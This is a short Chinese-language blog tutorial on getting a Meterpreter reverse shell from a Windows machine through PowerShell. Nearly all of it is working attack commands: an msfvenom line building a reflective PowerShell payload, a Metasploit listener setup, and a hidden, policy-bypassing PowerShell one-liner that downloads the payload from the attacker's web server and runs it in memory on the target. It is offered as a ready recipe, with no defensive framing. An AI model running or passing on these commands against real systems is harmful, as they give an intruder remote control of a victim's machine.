跳转到正文

利用powershell反弹shell到metasploit

传统安全·11,392 阅读

一、使用msfvenom生成PS1文件:

CODE
 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.135.100 LPORT=1234 -f psh-reflection >1.ps1

二、开启msf监听:

CODE
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.135.100
msf exploit(handler) > set lport 1234
msf > run

启动apache2,并将1.ps1复制到/var/www/html/目录下,访问1.ps1存在。

三、在目标机器执行cmd命令:

CODE
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.135.100/1.ps1');xx.ps1"

注意区分目标及系统是32位还是64位。